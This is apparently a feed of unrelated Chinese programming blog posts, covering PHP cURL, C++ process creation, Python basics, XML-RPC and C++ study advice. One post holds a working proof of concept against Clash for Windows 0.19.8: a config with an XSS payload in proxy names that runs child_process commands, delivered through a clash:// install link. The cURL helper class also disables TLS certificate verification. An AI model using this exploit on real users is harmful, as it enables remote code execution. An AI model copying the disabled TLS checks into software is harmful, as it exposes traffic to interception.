WP Real IP Checker 是一款适用于 WordPress 的插件,用于在反向代理或 CDN(如 Cloudflare、Nginx、Akamai 等)环境下获取访问者的真实客户端 IP。
支持可信代理 CIDR 白名单,可选安全模式,并支持自动获取 Cloudflare 官方网段(手动同步 + 定时任务刷新)。
CF-Connecting-IP、True-Client-IP,Nginx 常用头 X-Forwarded-For、X-Real-IP 等。[real_ip] 显示当前访问者的 IP。下载插件文件 real-ip-checker ,将整个文件夹上传到:
/wp-content/plugins/real-ip-checker/支持:
REMOTE_ADDR来源在 Cloudflare 官方网段 → 只解析:
CF-Connecting-IP(优先)True-Client-IP(备选)来源在其他可信代理网段 → 按顺序解析:
X-Forwarded-For(取最左公共 IP)X-Real-IP、Client-IP 等REMOTE_ADDR[real_ip] 在 wp-config.php 中开启:
define('WP_DEBUG', true);后台页脚会显示:
REMOTE_ADDR)ric_cron_refresh_cf。本插件遵循 GPLv2 或更高版本 开源协议。
]]>使用CURL的PHP扩展完成一个HTTP请求的发送一般有以下四个步骤:
1.初始化连接句柄curl_init();
2.设置CURL选项curl_setopt() ;
3.执行并获取结果curl_exec();
4.释放VURL连接句柄curl_close()。
curl实现GET
//初始化
$ch = curl_init();
//设置选项,包括URL
curl_setopt($ch, CURLOPT_URL, "http://www.68xi.com");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
//执行并获取HTML文档内容
$output = curl_exec($ch);
//释放curl句柄
curl_close($ch);
//打印获得的数据
print_r($output);上述代码中使用到了四个函数
curl_init() 和 curl_close() 分别是初始化CURL连接和关闭CURL连接,都比较简单。
curl_exec() 执行CURL请求,如果没有错误发生,该函数的返回是对应URL返回的数据,以字符串表示满意;如果发生错误,该函数返回 FALSE。需要注意的是,判断输出是否为FALSE用的是全等号,这是为了区分返回空串和出错的情况。
CURL函数库里最重要的函数是curl_setopt(),它可以通过设定CURL函数库定义的选项来定制HTTP请求。上述代码片段中使用了三个重要的选项: CURLOPT_URL 指定请求的URL; CURLOPT_RETURNTRANSFER 设置为1表示稍后执行的curl_exec函数的返回是URL的返回字符串,而不是把返回字符串定向到标准输出并返回TRUE; CURLLOPT_HEADER设置为0表示不返回HTTP头部信息。
CURL`的选项还有很多,可以到PHP的官方网站(http://www.php.net/manual/en/function.curl-setopt.php)上查看CURL支持的所有选项列表。
curl实现POST
$url = "http://localhost/server.php";
$post_data = array ("username" => "bob","key" => "12345");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// post数据
curl_setopt($ch, CURLOPT_POST, 1);
// post的变量
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$output = curl_exec($ch);
curl_close($ch);
//打印获得的数据
print_r($output);PHP封装好的curl请求类
<?php
class Curl
{
/**
* @brief get请求
* @param $url 请求的url
* @param array $param 请求的参数
* @param int $timeout 超时时间
* @param int $log 是否启用日志
* @return mixed
*/
public static function get($url, $param=array(), $timeout=10, $log=1)
{
$ch = curl_init();
if (is_array($param)) {
$url = $url . '?' . http_build_query($param);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); // 允许 cURL 函数执行的最长秒数
$data = curl_exec($ch);
if ($log) {
$data .= "\r\n";
$data .= self::logInfo($ch, $param, $data);
}
curl_close($ch);
return $data;
}
/**
* @brief post请求
* @param $url 请求的url地址
* @param array $param 请求的参数
* @param int $log 是否启用日志
* @return mixed
*/
public static function post($url, $param=array(), $header=array(), $timeout=10, $log=1)
{
$ch = curl_init();
if (is_array($param)) {
$urlparam = http_build_query($param);
} else if (is_string($param)) { //json字符串
$urlparam = $param;
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //设置超时时间
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //返回原生的(Raw)输出
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_POST, 1); //POST
curl_setopt($ch, CURLOPT_POSTFIELDS, $urlparam); //post数据
if ($header) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
$data = curl_exec($ch);
if ($log) {
$data .= "\r\n";
$data .= self::logInfo($ch, $param, $data);
}
curl_close($ch);
return $data;
}
/**
* 请求信息记录日志
* @param $ch curl句柄
* @param $request 请求参数
* @param $response 响应结果
*/
private static function logInfo($ch, $request, $response)
{
$info = curl_getinfo($ch);
$resultFormat = "耗时:[%s] 返回状态:[%s] 请求的url[%s] 请求参数:[%s] 响应结果:[%s] 大小:[%s]kb 速度:[%s]kb/s";
$resultLogMsg = sprintf($resultFormat, $info['total_time'], $info['http_code'], $info['url'], var_export($request,true),var_export($response,true), $info['size_download']/1024, $info['speed_download']/1024);
return $resultLogMsg;
}
}使用方法
// get请求
echo Curl::get('http://www.baidu.com');
// post请求
$arr = Curl::post('http://localhost:9090/test.php', ['a'=>1,'b'=>2]);
print_r($arr);
]]>crash_for_windows_pkg 由 Electron 提供支持。 如果 XSS 负载以代理的名义,我们可以远程执行受害者计算机上的任何 JavaScript 代码。
version: 0.19.8 (0.19.9版本还有其他漏洞触发,正好是0.19.9)
系统: Windows
系统版本: Windows 10
导入以下Clash配置文件:
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
注意:
您需要确保有效负载显示在代理列中。
漏洞利用在理论上是稳定的,但有时可能需要重新启动 crash_for_windows_pkg 并重现漏洞
将恶意配置文件放到互联网上并使用clash://安装它,clash_for_windows_pkg 将自动下载并切换到它。
例如:clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE
CFW最新版本:https://github.com/Fndroid/clash_for_windows_pkg/releases
CFW漏洞issues:https://github.com/Fndroid/clash_for_windows_pkg/issues/2710#issue-1148197704
#include <iostream>
#include<windows.h>
using namespace std;
int main()
{
TCHAR szCmdLine[] = { TEXT("d://test//test.exe my") };
STARTUPINFO si;
memset(&si, 0, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
PROCESS_INFORMATION pi;
if (!CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
{
cout << "Create Fail!" << endl;
exit(1);
}
else
{
cout << "Sucess!" << endl;
exit(1);
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}#include "stdafx.h"
#include <Shlwapi.h>
#include <io.h>
#include <set>
#include <sys/stat.h>
#include <iostream>
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
si.dwFlags = STARTF_USESHOWWINDOW; // 指定wShowWindow成员有效
si.wShowWindow = SW_HIDE; // 此成员设为TRUE的话则显示新建进程的主窗口
TCHAR szGetInstallSoftInfoPath[MAX_PATH] = {0};
TCHAR szFilePath[MAX_PATH]={0};
_tcscpy_s(szGetInstallSoftInfoPath,MAX_PATH, _T("HtUpdate.exe -u"));
_tcscpy_s(szFilePath,MAX_PATH, _T("C:\\Program Files (x86)\\huatechsec\\HtUpdate.exe -u"));
BOOL bRet = CreateProcess(NULL, szFilePath, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
if (!bRet)
{
std::cout<<"error"<<std::endl;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
system("PAUSE");
// ShellExecute(NULL,_T("open"), _T("C:\\Program Files (x86)\\huatechsec\\HtUpdate.exe"), _T("-u"), NULL, SW_HIDE);
return 0;
}
]]>
<?php
$_geturl = $_SERVER['HTTP_HOST'];
$_explodeurl = explode(".",$_geturl);
$url = $_explodeurl[0];
$_explodeurl = array_reverse($_explodeurl);
$urlgo = $_explodeurl[1].".".$_explodeurl[0];
$domian = "com.cn|net.cn|org.cn|gov.cn|bj.cn|sh.cn|tj.cn|cq.cn|zj.cn|nm.cn|ln.cn|jl.cn|hl.cn|js.cn|he.cn|ah.cn|fj.cn|jx.cn|sd.cn|ha.cn|hb.cn|hn.cn|gd.cn|gx.cn|hi.cn|sx.cn";
$domian = explode("|",$domian);
if (in_array($urlgo,$domian))
{
$urlgo = $_explodeurl[2].".".$_explodeurl[1].".".$_explodeurl[0];
}
function gourl_301(){
global $urlgo;
header("HTTP/1.1 301 Moved Permanently");
header('Location: http://www.'.$urlgo.'/');
exit();
}
if($_geturl==$urlgo){
gourl_301();
}
?>
]]>
附上代码:
console.log(`%c
%c FBI WARNING %c
%c Federal Law provides severe civil and criminal penalties for
the unauthorized reproduction,distribution, or exhibition of
copyrighted motion pictures (Title 17, United States Code,
Sections 501 and 508). The Federal Bureau of Investigation
investigates allegations of criminal copyright infringement
(Title 17, United States Code, Section 506). `,
'background: #000; font-size: 18px; font-family: monospace',
'background: #f33; font-size: 18px; font-family: monospace; color: #eee; text-shadow:0 0 1px #fff',
'background: #000; font-size: 18px; font-family: monospace',
'background: #000; font-size: 18px; font-family: monospace; color: #ddd; text-shadow:0 0 2px #fff'
)为什么会这样呢?想必你还记得其他语言中的print()。占位符是print()的专属吗?不,他们在console.log()中同样适用:
%s:字符串
%d:整数
%i:整数
%f:浮点数
%o:obj对象(DOM)
%O:obj对象
%c:CSS样式console.log()可以通过以上这些特有的占位符进行信息的加工输出。是的,你可能已经明白,上面代码的玄机就在四个%c,
第一个创建神秘而性感的纯黑背景;
第二个给“FBI WARNING”加上红色的背景;
第三个恢复纯黑的性感;
第四个配上白色的文字,如此,大事已成。
明白了以上原理,诸君就可以自由发挥,展示你们强大的css实力了,甚至还可以输出gif背景图
如:
console.log(`%c你好,亲爱的朋友,
我是墨少离,
这是我的一个小博客,
如果您喜欢请收藏一下谢谢~
如果有存在侵权的,请发邮件至wtxly521@94qy.com,谢谢`,'font-size: 20px; color: orange;')
console.log('%c ',
'font-size: 100px;background: url("https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=167741595,2706197548&fm=26&gp=0.jpg"); background-size: 100%;')效果如下:
注:
注意:python内存回收交给一段独立的代码即垃圾回收器(包含引用计数器和循环垃圾收集器),引用计数在归零时并不会立即清除(可能有循环调用)
不必纠结循环引用收集,只需记住垃圾回收器帮你自动清理内存。
x=1 #创建内存变量1,将变量1的引用传给x,此刻1的引用计数为1
y=x #1的引用计数增加到2
y=2 #创建新的内存变量2,将变量2的引用传给y,原本指向1的y,此刻给了2,所以1的引用计数减少到了1
del x #删除了内存对象1的引用x,此刻1再无引用,此刻它就成了python解释器回收的目标


python中使用对象模型来存储数据,用来生成数据类型的工厂函数本质上是类,新建数据的结果本质是实例化一个对象
对象有三种特性
定义:允许作为名字的有效字符串集合
关键字表:
内建:由解释器自动导入(提供基本功能),可以看作全局变量,
下划线对于解释器来说有特殊意义,而且是内建标识符所使用符号,不建议自定义变量以下划线开头
但是如果是类中的私有变量,__xxx将会是一个好习惯
补充:
系统变量__name__会根据python文件被加载方式的不同得出不同的值
#_*_coding:utf-8_*_
#!/usr/bin/env python
'''
This is an example module
'''
import sys,os
debug=True
class Test:
'''
test class
'''
pass
def main():
'''
test func
:return:
'''
pass
if __name__ == '__main__':
main()
]]>RPC是Remote Procedure Call的缩写,翻译成中文为:远程方法调用。
它是一种在本地机器上调用远端机器上的一个过程(方法)的技术,这个过程也被大家称为“分布式计算”,是为了提高各个分立机器的“互操作性”而发明出来的技术。
XML-RPC的全称是XML Remote Procedure Call,即XML远程方法调用。
它是一套允许运行在不同操作系统、不同环境的程序实现基于Internet过程调用的规范和一系列的实现。这种远程过程调用使用http作为传输协议,XML作为传送信息的编码格式。Xml-Rpc的定义尽可能的保持了简单,但同时能够传送、处理、返回复杂的数据结构。XML- RPC(http://www.xmlrpc.com)是由美国UserLand公司指定的一个RPC协议。简单的理解是:将数据定义为xml格式,通过http协议进行远程传输。
一般使用在服务器端,这个模块用来构造一个最基本的XML-RPC服务器框架。
一般使用在客户端,这个模块用来调用注册在XML-RPC服务器端的函数,xmlrpclib并不是一个类型安全的模块,无法抵御恶意构造的数据,这方面的一些处理工作需要交给开发者自己。
大致用法:使用SimpleXMLRPCServer模块运行XMLRPC服务器,在其中注册服务器提供的函数或者对象;然后在客户端内使用xmlrpclib.ServerProxy连接到服务器,想要调用服务器的函数,直接调用ServerProxy即可。
简单实例:hello xmlprc
服务器端:xmlrpc_server.py
import SimpleXMLRPCServer
class MyObject:
def sayHello(self):
return "hello xmlprc"
obj = MyObject()
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("localhost", 8088))
server.register_instance(obj)
print "Listening on port 8088"
server.serve_forever()客户端:xmlrpc_client.py
import xmlrpclib
server = xmlrpclib.ServerProxy("http://localhost:8088")
words = server.sayHello()
print "result:" + words打开一个终端,输入命令,运行服务器端程序:
chmod u+x xmlrpc_server.py
python xmlrpc_server.py打开另一个新的终端,输入命令,运行客户端程序:
chmod u+x xmlrpc_client.py
python xmlrpc_client.py可以看到客户端控制台上输出了:hello xmlprc。如图:
附:
SimpleXMLRPCServer是一个单线程的服务器。这意味着,如果几个客户端同时发出多个请求,其它的请求就必须等待第一个请求完成以后才能继续。
若修改服务器端如下:
from SimpleXMLRPCServer import SimpleXMLRPCServer
from SocketServer import ThreadingMixIn
class ThreadXMLRPCServer(ThreadingMixIn, SimpleXMLRPCServer):pass
class MyObject:
def sayHello(self):
return "hello xmlprc"
obj = MyObject()
server = ThreadXMLRPCServer(("localhost", 8088), allow_none=True)
server.register_instance(obj)
print "Listening on port 8088"
server.serve_forever()
]]>2.看《Thinking In C++》,不要看《C++变成死相》;
3.看《The C++ Programming Language》和《Inside The C++ Object Model》,不要因为他们很难而我们自己是初学者所以就不看;
4.不要被VC、BCB、BC、MC、TC等词汇所迷惑——他们都是集成开发环境,而我们要学的是一门语言;
5.不要放过任何一个看上去很简单的小编程问题——他们往往并不那么简单,或者可以引伸出很多知识点;
6.会用Visual C++,并不说明你会C++;
7.学class并不难,template、STL、generic programming也不过如此——难的是长期坚持实践和不遗余力的博览群书;
8.如果不是天才的话,想学编程就不要想玩游戏——你以为你做到了,其实你的C++水平并没有和你通关的能力一起变高——其实可以时刻记住:学C++是为了编游戏的;
9.看Visual C++的书,是学不了C++语言的;
10.浮躁的人容易说:XX语言不行了,应该学YY;——是你自己不行了吧!?
11.浮躁的人容易问:我到底该学什么;——别问,学就对了;
12.浮躁的人容易问:XX有钱途吗;——建议你去抢银行;
13.浮躁的人容易说:我要中文版!我英文不行!——不行?学呀!
14.浮躁的人容易问:XX和YY哪个好;——告诉你吧,都好——只要你学就行;
15.浮躁的人分两种:a)只观望而不学的人;b)只学而不坚持的人;
16.把时髦的技术挂在嘴边,还不如把过时的技术记在心里;
19.在任何时刻都不要认为自己手中的书已经足够了;
20.请阅读《The Standard C++ Bible》(中文版:标准C++宝典),掌握C++标准;
21.看得懂的书,请仔细看;看不懂的书,请硬着头皮看;
22.别指望看第一遍书就能记住和掌握什么——请看第二遍、第三遍;
23.请看《Effective C++》和《More Effective C++》以及《Exceptional C++》;
24.不要停留在集成开发环境的摇篮上,要学会控制集成开发环境,还要学会用命令行方式处理程序;
25.和别人一起讨论有意义的C++知识点,而不是争吵XX行不行或者YY与ZZ哪个好;
26.请看《程序设计实践》,并严格的按照其要求去做;
27.不要因为C和C++中有一些语法和关键字看上去相同,就认为它们的意义和作用完全一样;
28.C++绝不是所谓的C的“扩充”——如果C++一开始就起名叫Z语言,你一定不会把C和Z语言联系得那么紧密;
29.请不要认为学过XX语言再改学C++会有什么问题——你只不过又在学一门全新的语言而已;
30.读完了《Inside The C++ Object Model》以后再来认定自己是不是已经学会了C++;
31.学习编程的秘诀是:编程,编程,再编程;
32.请留意下列书籍:《C++面向对象高效编程(C++ Effective Object-Oriented Software Construction)》《面向对象软件构造(Object-Oriented Software Construction)》《设计模式(Design Patterns)》《The Art of Computer Programming》;
33.记住:面向对象技术不只是C++专有的;
34.请把书上的程序例子亲手输入到电脑上实践,即使配套光盘中有源代码;
35.把在书中看到的有意义的例子扩充;
36.请重视C++中的异常处理技术,并将其切实的运用到自己的程序中;
37.经常回顾自己以前写过的程序,并尝试重写,把自己学到的新知识运用进去;
38.不要漏掉书中任何一个练习题——请全部做完并记录下解题思路;
39.C++语言和C++的集成开发环境要同时学习和掌握;
40.既然决定了学C++,就请坚持学下去,因为学习程序设计语言的目的是掌握程序设计技术,而程序设计技术是跨语言的;
41.就让C++语言的各种平台和开发环境去激烈的竞争吧,我们要以学习C++语言本身为主;
42.当你写C++程序写到一半却发现自己用的方法很拙劣时,请不要马上停手;请尽快将余下的部分粗略的完成以保证这个设计的完整性,然后分析自己的错误并重新设计和编写(参见43);
43.别心急,设计C++的class确实不容易;自己程序中的class和自己的class设计水平是在不断的编程实践中完善和发展的;
44.决不要因为程序“很小”就不遵循某些你不熟练的规则——好习惯是培养出来的,而不是一次记住的;
45.每学到一个C++难点的时候,尝试着对别人讲解这个知识点并让他理解——你能讲清楚才说明你真的理解了;
46.记录下在和别人交流时发现的自己忽视或不理解的知识点;
47.请不断的对自己写的程序提出更高的要求,哪怕你的程序版本号会变成Version 100.XX;
48.保存好你写过的所有的程序——那是你最好的积累之一;
49.请不要做浮躁的人;
50.请热爱C++!
]]>